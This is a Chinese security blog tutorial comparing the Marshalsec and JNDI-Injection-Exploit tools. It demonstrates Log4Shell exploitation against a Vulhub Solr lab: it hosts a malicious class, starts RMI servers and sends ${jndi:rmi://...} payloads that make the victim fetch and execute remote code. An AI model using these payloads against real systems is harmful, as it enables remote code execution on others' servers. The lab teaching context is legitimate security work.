JNDI注入 漏洞工具使用和对比

admin 2024年11月4日09:52:44评论20 views字数 3803阅读12分40秒阅读模式

说到JNDI注入漏洞工具,最常用的应该就是这两个了吧

  • Marshalsec工具

  • JNDI-Injection-Exploit 工具

Marshalsec工具获取与编译

介绍

Marshalsec是一个用于Java反序列化漏洞利用的工具,由马克斯·贝克勒(mbechler)开发。它主要用于帮助安全研究人员和渗透测试人员分析和利用Java应用程序中的反序列化漏洞。

项目地址:

Marshalsec的GitHub仓库地址为:https://github.com/mbechler/marshalsec

另一个项目镜像地址为:https://gitcode.com/gh_mirrors/ma/marshalsec

环境准备:

确保系统中已经安装了Java和Maven。如果没有,可以通过以下命令安装:

对于Ubuntu/Linux:sudo apt-get install default-jdk maven

对于CentOS/RHEL:sudo yum install java-1.8.0-openjdk-devel maven

克隆与编译

从GitHub克隆Marshalsec项目:git clone https://github.com/mbechler/marshalsec.git

进入项目目录:cd marshalsec

编译项目:(需要 Java 8)mvn clean package -DskipTests

编译完成后,target/目录下会产生marshalsec-{version}-all.jar文件。

使用方法

java -cp marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.<Unmarshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

-a - 生成/测试该序列化器的所有有效载荷。

-t - 测试模式,在生成后立即反序列化生成的有效载荷。

-v - 详细模式,例如在测试模式下显示生成的有效载荷。

gadget_type - 特定漏洞标识符,省略则显示特定序列化器可用的漏洞。

arguments - 漏洞相关的参数

JNDI-Injection-Exploit 工具获取与编译

介绍

JNDI-Injection-Exploit是一个用于生成可工作的JNDI链接并提供后台服务的工具,通过启动RMI服务器、LDAP服务器和HTTP服务器来实现。该工具主要用于测试JNDI注入漏洞,如Jackson、Fastjson反序列化漏洞等

项目地址:

JNDI-Injection-Exploit的GitHub仓库地址为:https://github.com/welk1n/JNDI-Injection-Exploit

另一个项目镜像地址为:https://gitcode.com/gh_mirrors/jn/JNDI-Injection-Exploit/overview

环境准备:

确保系统中已经安装了Java和Maven。如果没有,可以通过以下命令安装:

对于Ubuntu/Linux:sudo apt-get install default-jdk maven

对于CentOS/RHEL:sudo yum install java-1.8.0-openjdk-devel maven

克隆与编译

从GitHub克隆JNDI-Injection-Exploit项目:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

进入项目目录:cd JNDI-Injection-Exploit

编译项目:(需要 Java 8)mvn clean package -DskipTests

编译完成后,target/目录下会产生JNDI-Injection-Exploit-{version}-SNAPSHOT-all.jar文件。

不想自己编译的可以直接下载已经编译好的:

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

使用方法

在命令行中运行以下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

-C - 远程class文件中要执行的命令。

(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

-A - 服务器地址,可以是IP地址或者域名。

(可选项 , 默认地址是第一个网卡地址)

注意:

要确保 1099、1389、8180端口可用,不被其他程序占用。

或者你也可以在run.ServerStart类2628行更改默认端口。

命令会被作为参数传入Runtime.getRuntime().exec(),

所以需要确保命令传入exec()方法可执行。

bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

接下来演示如何利用这两个工具进行漏洞利用,以此来对比两个工具的区别

为此我们需要构造一个漏洞环境,当然最便捷的方式就是使用docker 直接拉取一个漏洞环境了,我们用之前很火的漏洞log4j2的漏洞来演示

进入到vulhubz/log4j/CVE-2021-44228/目录下
执行
docker-compose up -d 拉取漏洞环境

启动成功后访问一下漏洞环境

http://192.168.19.158:8983/solr/#/

JNDI注入 漏洞工具使用和对比

Marshalsec工具进行利用

进入到我们构建好的Marshalsec的jar文件下,首先我们需要先有一个TouchFile.java文件,文件内容为我们需要执行的命令,使用javac TouchFile.java生成class执行文件
TouchFile.java文件内容

JNDI注入 漏洞工具使用和对比

JNDI注入 漏洞工具使用和对比

成功生成TouchFile.class文件后,需要使用python开启一个web目录,以便受害者机器能下载到该文件

python3 -m http.server 8000
python2 -m SimpleHTTPServer 8000

接下来使用工具开启RMIserver
以下的192.168.101.135:8080为刚才开启的web目录地址,TouchFile为TouchFile.java文件中的公开的类名,需要保持一致

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer  "http://192.168.19.1:8000/#TouchFile"

JNDI注入 漏洞工具使用和对比

发送利用paylaod

http://192.168.19.158:8983/solr/admin/cores?action=${jndi:rmi://192.168.19.1:1099/TouchFile}  #其中192.168.19.1:1099 为以上命令开启后的ip地址和端口,可以从图看出来为1099,TouchFile为TouchFile为TouchFile.java文件中的公开的类名,需要保持一致:

可以看到受害者机器已经下载了TouchFile文件

JNDI注入 漏洞工具使用和对比

Marshalsec服务已经有响应

JNDI注入 漏洞工具使用和对比
接下来我们看下受害者是否已经执行了我们想要执行的命令touch /tmp/success

受害者机器已经成功执行了该命令
JNDI注入 漏洞工具使用和对比

JNDI-Injection-Exploit工具进行利用

直接使用命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/20241014 #不使用-A 默认主机IP

JNDI注入 漏洞工具使用和对比

发送利用paylaod
http://192.168.19.158:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.9:1099/ewvnfv} #其中192.168.19.1:1099 为以上命令开启后的ip地址和端口,可以从图看出来为1099,ewvnfv为随机生成的类,需要和命令生成的保持一致:

JNDI-Injection-Exploit服务已经有响应
JNDI注入 漏洞工具使用和对比

接下来我们看下受害者是否已经执行了我们想要执行的命令touch /tmp/20241014

受害者机器已经成功执行了该命令
JNDI注入 漏洞工具使用和对比

通过以上的实验证明

JNDI-Injection-Exploit:

使用场景:适用于需要利用JNDI注入漏洞进行攻击的场景

特点:简单易用、支持多种攻击方式、免费开源等

Marshalsec:

使用场景:适用于需要利用Java反序列化漏洞进行攻击的场景,如渗透测试和安全研究等。

特点:功能强大、支持多种序列化协议、易于定制等。它提供了丰富的选项和参数来生成恶意的序列化数据,并支持多种攻击方式。

JNDI-Injection-Exploit对比起来,在实现rmi/ldap注入的时候,要简单的多,只需要一步执行到位,而不需要像Marshalsec需要多几个步骤。所以漏洞利用过程中,更多的都是使用JNDI-Injection-Exploit工具

【作者】:jylove
【来源】:https://zone.huoxian.cn/d/2954-jndi

原文始发于微信公众号(船山信安):JNDI注入 漏洞工具使用和对比

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日09:52:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JNDI注入 漏洞工具使用和对比https://cn-sec.com/archives/3351427.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息